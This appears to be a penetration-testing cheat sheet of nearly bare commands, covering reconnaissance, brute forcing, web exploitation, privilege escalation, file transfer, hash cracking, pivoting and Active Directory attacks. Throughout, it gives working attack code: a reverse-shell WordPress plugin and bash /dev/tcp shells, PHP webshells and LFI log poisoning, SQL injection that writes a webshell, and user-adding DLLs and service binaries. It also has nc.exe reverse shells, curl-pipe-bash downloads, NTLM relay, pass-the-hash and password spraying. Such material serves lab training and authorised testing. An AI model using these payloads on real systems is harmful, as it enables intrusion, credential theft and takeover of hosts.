- Reconnaissance
- Enumeration
- Exploitation
- Privilege Escalation
- File Transfers
- Password Attacks
- Pivoting
- Active Directory
Common 1,000 ports
nmap -sV -sC -oN ./nmap.txt <<IP>>
All ports
nmap -sV -sC -p- -oN ./nmapAll.txt <<IP>> --max-retries=1
sudo nmap -sU -sC -oN ./nmapUDP.txt <<IP>> --max-retries=1
SNMP
sudo nmap -sU -sC -p161 -oN ./nmapSNMP.txt <<IP>>
Location:
/usr/share/nmap/scripts/
nmap --script vuln -oN nmapVuln.txt <<IP>>
nmap -p <<PORT>> --script=<<SCRIPT_NAME>> <<IP>>
nmap -p <<PORT>> --script=all -oN nmapScripts.txt <<IP>>
ftp anonymous@<<IP>>
ftp <IP>
PASSIVE
BINARY
get <FILE>
ftp <IP>
PASSIVE
BINARY
put <FILE>
hydra -L /usr/share/wordlists/dirb/others/names.txt -P /usr/share/wordlists/rockyou.txt <<IP>> ftp
hydra -l <<USERNAME>> -P /usr/share/wordlists/rockyou.txt <<IP>> ftp
Default Credentials
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt <<IP>> ftp
Specify Port
hydra -L /usr/share/wordlists/dirb/others/names.txt -P /usr/share/wordlists/rockyou.txt <<IP>> -s <<PORT>> ftp
hydra -L /usr/share/wordlists/dirb/others/names.txt -P /usr/share/wordlists/rockyou.txt <<IP>> ssh
hydra -l joe -P /usr/share/wordlists/rockyou.txt <<IP>> ssh
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt <<IP>> ssh
Specify Port
hydra -L /usr/share/wordlists/dirb/others/names.txt -P /usr/share/wordlists/rockyou.txt <<IP>> -s <<PORT>> ssh
RSA, DSA and ECDSA
id_rsa
id_dsa
id_ecdsa
ssh-keygen -t rsa
cat id_rsa.pub >> authorized_keys
chmod 600 id_rsa
ssh -i id_rsa <<USERNAME>>@<<IP>>
ssh2john id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
ssh-keygen -t rsa
echo <<CONTENTS OF PUBLIC KEY>> > <<PATH>>/.ssh/authorized_keys
ssh -i id_rsa <<USERNAME>>@<<IP>>
smtp-user-enum -U <<USERNAME_LIST>> -t <<IP>>
hydra -L <<USERNAME_LIST>> -P <<PASSWORD_LIST>> <<IP>> pop3
hydra -L <<USERNAME_LIST>> -P <<PASSWORD_LIST>> <<IP>> imap
thunderbird
Settings -> Account Settings -> Account Actions -> Add Mail Account
sudo swaks -t <<TARGET_EMAIL_ADRESS>> --from <<EMAIL_ADRESS>> --attach @<<FILE>> --server <<IP>> --body @<<TEXT_FILE>> --header "Subject: Example" --suppress-data -ap
sendemail -t <<TARGET_EMAIL_ADRESS>> -f <<EMAIL_ADRESS>> -s <<IP>> -u "Password Reset" -o tls=no -m <<MESSAGE>>
dnsenum <DOMAIN>
dnsrecon -d <DOMAIN>
dig ANY @<<IP>> <<DOMAIN>>
dig @<<IP>> -x <<IP>>
dig axfr @<<IP>> <<DOMAIN>>
nikto -h <<URL>>
dirsearch -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sql -u http://SERVER_IP:PORT
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -ic
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ -ic
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php
gobuster dir -u http://SERVER_IP:PORT/directory -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.company.com/ -ic
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -ic
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.company.com:PORT/admin/admin.php?FUZZ=key -fs xxx
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.company.com:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
ffuf -w ids.txt:FUZZ -u http://admin.company.com:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
Simple pattern file for gobuster:
{GOBUSTER}/v1
{GOBUSTER}/v2
gobuster dir -u http://<<IP>>:<<PORT>> -w /usr/share/wordlists/dirb/big.txt -p pattern
ffuf -u http://<<IP>>/login -X POST \
-d ‘{"username":"USERFUZZ", "password":"PASSFUZZ"}’ \
-w ./usernames.txt:USERFUZZ -w ./passwords.txt:PASSFUZZ
Adding DNS record to /etc/hosts file:
sudo sh -c 'echo "<<SERVER_IP>> company.com" >> /etc/hosts'
Connect to the WebDavserver
cadaver <<IP>>
dav:/> ls
dav:/> put <<FILE>>
wpscan --url <<IP>> --rua -e ap,at,tt,cb,dbe,u,m
Plugins oriented
wpscan --url <<URL>> --detection-mode aggressive --plugins-detection aggressive
Brute-Force users
wpscan --url <<URL>> -U users.txt -P /usr/share/wordlists/rockyou.txt
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt -u <<URL>> -ic
Zip up this php file then upload and activate plugin. Wait for reverse shell.
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/<<IP>>/<<PORT>> 0>&1'");
?>
rpcinfo <<IP>>
showmount -e <<IP>>
mount -t nfs <<IP>>:/<<SHARE>> <<LOCAL_FOLDER>>
sudo nmap -sU --open -p 161 <<IP>> -oN open-snmp.txt
apt-get install snmp-mibs-downloader
download-mibs
# Edit the /etc/snmp/snmp.conf configuration file to deactivate the line that starts with the word "mibs".
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <<IP>> snmp
snmpbulkwalk -v2c -c public <<IP>> . > snmpbulkwalk.txt
snmpwalk -v1 -c public <<IP>> > snmpwalk.txt
Extended
snmpwalk -v1 -c public <<IP>> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
smbclient -N -L //IP ADRESS
smbclient \\\\IP ADRESS\\SHARE
mysql -h <<IP>> -u <<USERNAME>> -p
mysql -u <<USERNAME>> -p
show databases;
use <<DATABASE>>;
show tables;
select * from <<TABLE>>;
Two common readable files that are available on most back-end servers are /etc/passwd on Linux and C:\Windows\boot.ini on Windows.
Crafting Malicious Image:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Once this file is uploaded, all we need to do is include it through the LFI vulnerability.
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Once we upload the shell.jpg archive, we can include it with the zip wrapper as (zip://shell.jpg)
zip://./profile_images/shell.jpg$cmd=id
Write the following PHP script into a shell.php file:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();Compile it into a phar file and rename it to shell.jpg:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Now, we should have a phar file called shell.jpg. Once we upload it to the web application, we can simply call it with phar:// and provide its URL path, and then specify the phar sub-file with /shell.txt (URL encoded) to get the output of the command we specify with (&cmd=id), as follows:
phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
Non-Recursive Path Traversal Filters
....//....//....//....//etc/passwd
Encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
Approved Paths
./<EXISTING PATH>/../../../../etc/passwd
Null Byte
/etc/passwd%00
/etc/passwd%00.php
php://filter
curl http://SERVER_IP:PORT/index.php?page=php://filter/convert.base64-encode/resource=admin.php
data:// wrapper
curl "http://SERVER_IP:PORT/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
data:// wrapper with base64-encoded data
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
curl "http://SERVER_IP:PORT/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
cat simple-backdoor.php
...
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
curl "http://SERVER_IP:PORT/index.php?page=http://<LOCAL-IP>/simple-backdoor.php&cmd=ls"
Both Apache and Nginx maintain various log files, such as access.log and error.log. Apachelogs are located in /var/log/apache2/ on Linux and in C:\xampp\apache\logs\ on Windows, while Nginx logs are located in /var/log/nginx/ on Linux and in C:\nginx\log\ on Windows.
The following are some of the service logs we may be able to read:
/var/log/sshd.log/var/log/mail/var/log/vsftpd.log
After intercepting some web request we can modify the User Agent to include the PHP code snippet.
User-Agent: <?php system($_GET['cmd']); ?>
As the log should now contain PHP code, the LFI vulnerability should execute this code, and we should be able to gain remote code execution.
/index.php?page=/var/log/apache2/access.log&cmd=id
The User-Agent header is also shown on process files under the Linux /proc/ directory. So, we can try including the /proc/self/environ or /proc/self/fd/N files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files.
We may also poison the log by sending a request through cURL, as follows:
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<<SERVER_IP>>:<<PORT>>/index.php?FUZZ=value' -fs <<FILE_SIZE>>
A good wordlist is LFI-Jhaddix.txt, as it contains various bypasses and common files, so it makes it easy to run several tests at once.
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<<SERVER_IP>>:<<PORT>>/index.php?page=FUZZ' -fs <<FILE_SIZE>>
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<<SERVER_IP>>:<<PORT>>/index.php?language=../../../../FUZZ/index.php' -fs <<FILE_SIZE>>
Files to test directory traversal :
/etc/passwd
Files to test directory traversal :
C:\Windows\System32\drivers\etc\hosts
If target system is running the Internet Information Services (IIS) web server:
C:\inetpub\logs\LogFiles\W3SVC1\
C:\inetpub\wwwroot\web.config
URL encoding:
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Try these payloads and see if it causes any errors or changes how the page behaves.
| Payload | URL Encoded |
|---|---|
' |
%27 |
" |
%22 |
# |
%23 |
; |
%3B |
) |
%29 |
admin' or '1'='1
admin' OR 1=1 -- //
impacket-mssqlclient <<USERNAME>>:<<PASSWORD>>@<<IP>> -windows-auth
SQL> EXECUTE sp_configure 'show advanced options', 1;
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
With this feature enabled, we can execute any Windows shell command through the EXECUTE statement:
SQL> EXECUTE xp_cmdshell 'whoami';
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
If successful we can access webshell on http://<<IP>>/tmp/webshell.php
Other extensions
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Insert at the start of the file to make it look as a .gif file:
GIF8;
GIF87a;
PNG : 89 50 4E 47 0D 0A 1A 0A
JPG : FF D8 FF DB
export PATH=/tmp:$PATH
echo $PATH
find / -perm -u=s -type f 2>/dev/null
https://juggernaut-sec.com/docker-breakout-lpe/
docker images
https://gtfobins.github.io/gtfobins/docker/
This requires the user to be privileged enough to run docker, i.e. being in the docker group or being root.
./docker run -v /:/mnt --rm -it <<IMAGE_NAME>> chroot /mnt sh
Users privileges
whoami /priv
Groups membership
whoami /groups
net localgroup
Information about user
net user <<USERNAME>>
Information about system
systeminfo
List network interfaces
ipconfig /all
Display routing table
route print
List all active network connections
netstat -ano
Groups membership
Get-LocalGroupGet-LocalGroupMember <<GROUP_NAME>>Check installed applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameReview running processes
Get-ProcessPowerShell history of a user
Get-History(Get-PSReadlineOption).HistorySavePathcmdkey /list
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.exe,*.zip,*.kdbx -File -Recurse -ErrorAction SilentlyContinue
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
icacls "<<FILE_PATH>>"
| MASK | PERMISSIONS |
|---|---|
| F | Full access |
| M | Modify access |
| RX | Read and execute access |
| R | Read-only access |
| W | Write-only access |
Contents of adduser.c :
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user <<USERNAME>> <<PASSWORD>> /add");
i = system ("net localgroup <<USERNAME>> <<PASSWORD>> /add");
return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
iwr -uri http://<<IP>>/adduser.exe -Outfile adduser.exe
move .\adduser.exe <<VULNERABLE_BINARY>>
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<<SERVICE_NAME>>'}
net stop <<SERVICE>>
net start <<SERVICE>>
net restart <<SERVICE>>
If SeShutdownPrivilege present:
shutdown /r /t 0
1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}icacls <<SERVICE_BINARY>>
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
int i;
i = system ("net user <<USERNAME>> <<PASSWORD>> /add");
i = system ("net localgroup <<USERNAME>> <<PASSWORD>> /add");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
Restart-Service <<SERVICE_NAME>>C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
Get-CimInstance -ClassName win32_service | Select Name,State,PathName wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Start-Service <<SERVICE_NAME>>
Stop-Service <<SERVICE_NAME>>
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
iwr -uri http://<<IP>>/adduser.exe -Outfile Current.exe
copy .\Current.exe 'C:\Program Files\Enterprise\Current.exe'
Start-Service <<SERVICE_NAME>>
schtasks /query /fo LIST /v
iwr -uri http://<<IP>>/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell.exe
For GodPotato-NET4.exe to work you need to transfer nc.exe to victim machine.
iwr -uri http://<<IP>>:<<PORT>>/nc.exe -Outfile nc.exe
iwr -uri http://<<IP>>:<<PORT>>/GodPotato-NET4.exe -Outfile godpotato.exe
.\godpotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe <<LHOST>> <<LPORT>>"
python3 -m http.server <<PORT>>
php -S 0.0.0.0:<<PORT>>
ruby -run -ehttpd . -p<<PORT>>
Receiver:
nc -nlvp 9989 > <<FILE>>
Sender:
nc -w 3 <<IP>> 9989 < <<FILE>>
Sender:
cat file > /dev/tcp/<<IP>>/<<PORT>>
Receiver:
nc -lnvp <<PORT>> > <<FILE>>
wget http://<<IP>>:<<PORT>>/<<FILE>>
wget http://<<IP>>:<<PORT>>/<<FILE>> -O <<OUTPUT_FILE>>
wget -qO- http://<<IP>>:<<PORT>>/<<FILE>>/script.py | python3
curl http://<<IP>>:<<PORT>>/<<FILE>> -o <<OUTPUT_FILE>>
curl http://<<IP>>:<<PORT>>/script.sh | bash
Enabling the SSH Server
sudo systemctl enable ssh
Starting the SSH Server
sudo systemctl start ssh
scp <<FILE>> <<USERNAME>>@<<IP>>:<<REMOTE_DIRECTORY>>
scp <<USERNAME>>@<<IP>>:/<<FILE_LOCATION>> <<LOCAL_DIRECTORY>>
certutil -urlcache -split -f "http://<<IP>>:<<IP>>/<<FILE>>" <<FILE>>
iwr -uri http://<<IP>>:<<PORT>>/<<FILE>> -Outfile <<FILE>>
Invoke-WebRequest http://<<IP>>:<<PORT>>/<<FILE>> -OutFile <<FILE>>
On kali:
python3 ~/smbserver.py -smb2support myshare2 . -username user -password pass
On windows:
net use \\<<IP>>\myshare2
In file explorer you can access share on \\<<IP>>\myshare2
Adding a "1" at the end of an existing password:
echo \$1 > example.rule
Display mutated passwords:
hashcat -r example.rule --stdout wordlist.txt
Adding "1" and "!" at the end of password + capitalization of first letter:
echo "$1 c $!" > example.rule
Adding "!" first then "1" at the end of the password + capitalization of first letter:
echo "$! $1 c" > example.rule
Provided rules:
ls -la /usr/share/hashcat/rules/
total 2588
-rw-r--r-- 1 root root 933 Dec 23 08:53 best64.rule
-rw-r--r-- 1 root root 666 Dec 23 08:53 combinator.rule
-rw-r--r-- 1 root root 200188 Dec 23 08:53 d3ad0ne.rule
-rw-r--r-- 1 root root 788063 Dec 23 08:53 dive.rule
-rw-r--r-- 1 root root 483425 Dec 23 08:53 generated2.rule
-rw-r--r-- 1 root root 78068 Dec 23 08:53 generated.rule
drwxr-xr-x 2 root root 4096 Feb 11 01:58 hybrid
-rw-r--r-- 1 root root 309439 Dec 23 08:53 Incisive-leetspeak.rule
-rw-r--r-- 1 root root 35280 Dec 23 08:53 InsidePro-HashManager.rule
-rw-r--r-- 1 root root 19478 Dec 23 08:53 InsidePro-PasswordsPro.rule
-rw-r--r-- 1 root root 298 Dec 23 08:53 leetspeak.rule
-rw-r--r-- 1 root root 1280 Dec 23 08:53 oscommerce.rule
-rw-r--r-- 1 root root 301161 Dec 23 08:53 rockyou-30000.rule
-rw-r--r-- 1 root root 1563 Dec 23 08:53 specific.rule
-rw-r--r-- 1 root root 64068 Dec 23 08:53 T0XlC-insert_00-99_1950-2050_toprules_0_F.rule
hashcat -m 1000 example.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
keepass2john Database.kdbx > keepass.hash
cat keepass.hash
Database:$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e55337ff001ddfac98c961219d942fb0cfba*5273cc73b9584fbd843d1ee309d2ba47*1dcad0a3e50f684510c5ab16e1eecbb63671acae14a77eff9aa319b63d71ddb9*17c3ebc9c4c3535689cb9cb501284203b7c66b0ae2fbf0c2763ee920277496c1
First remove "Database" string from hash:
cat keepass.hash
$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1b7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e...
Cracking KeePass hash:
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
hashcat -m 1000 admin.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
smbclient \\\\<<IP>>\\secrets -U Administrator --pw-nt-hash <<NTML_HASH>>
impacket-psexec -hashes 00000000000000000000000000000000:<<NTML_HASH>> Administrator@<<IP>>
impacket-wmiexec -hashes 00000000000000000000000000000000:<<NTML_HASH>> Administrator@<<IP>>
Dir command to create SMB connection to our attacker machine:
C:\Windows\system32> dir \\<<IP>>\test
Access is denied.
Responder capturing the Net-NTLMv2 hash:
sudo responder -I tap0
Cracking captured hash:
hashcat -m 5600 admin.hash /usr/share/wordlists/rockyou.txt --force
Starting ntlmrelayx with PowerShell reverse shell one-liner set as command that will be executed. Port for reverse shell is set to 8080 in this instance.
impacket-ntlmrelayx --no-http-server -smb2support -t <<IP>> -c "powershell -enc JABjAGwAaQBlAG4AdA..."
nc -nvlp 8080
Using the dir command to create an SMB connection to our Kali machine:
C:\Windows\system32>dir \\<<IP>>\test
We should receive connection in our ntlmrelayx tab and netcat should have caught the reverse shell.
lsadump::cache
hashcat -m2100 '$DCC2$10240#<<USERNAME>>#<<HASH>>' /usr/share/wordlists/rockyou.txt --force --potfile-disable
For this to work you need to have ssh server running.
sudo systemctl start ssh
On kali:
ssh -L 5000:localhost:8080 <<USERNAME>>@<<VICTIM_IP>>
Running this command will make port 8080 on victim machine accessible to my attacking machine on port 5000.
On kali:
sudo systemctl start ssh
On victim machine:
ssh -N -R 9998 <<USERNAME>>@<<KALI_IP>>
This command sets up a remote port forwarding tunnel where any connections to port 9998 on the remote server <<KALI_IP>> will be forwarded to the SSH client machine
On kali:
chisel server -p 8001 --reverse
On victim machine:
.\chisel.exe client <<KALI_IP>>:8001 R:1080:socks
Edit /etc/proxychains4.conf:
socks 127.0.0.1 1080
net user /domain
net user <<USERNAME>> /domain
net group /domain
net group "<<GROUP>>" /domain
Import-Module .\PowerView.ps1Information about the domain
Get-NetDomainList Users
Get-NetUserGet-NetUser | select cn
List Groups
Get-NetGroup
Get-NetGroup "Sales Department" | select member
Enumerate the computer objects
Get-NetComputer
Find possible local administrative access on computers under the current user context
Find-LocalAdminAccess
Find any logged in users
Get-NetSession -ComputerName files04 -Verbose
Find-DomainShareImport-Module .\Sharphound.ps1Invoke-BloodHound -CollectionMethod All -OutputDirectory <<PATH>> -OutputPrefix "prexif"OR
SharpHound.exe --CollectionMethods All --ZipFileName output.zip
sudo neo4j start
bloodhound
Script automatically identifies domain users and sprays a password against them.
powershell -ep bypass
.\Spray-Passwords.ps1 -Pass <<PASSWORD>> -Admin
.\Spray-Passwords.ps1 -File <<PASSWORD_FILE>> -Admin
nxc smb 172.16.190.82 -u john -p passwords.txt --continue-on-success
nxc smb 172.16.190.82 -u john -H <<HASH>>
nxc rdp 172.16.190.82 -u john -p passwords.txt --continue-on-success
impacket-GetNPUsers -dc-ip <<DC_IP>> -request -outputfile hashes.asreproast <<DOMAIN>>/<<USERNAME>>
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
Rubeus will automatically identify vulnerable user accounts.
.\Rubeus.exe asreproast /nowraphashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
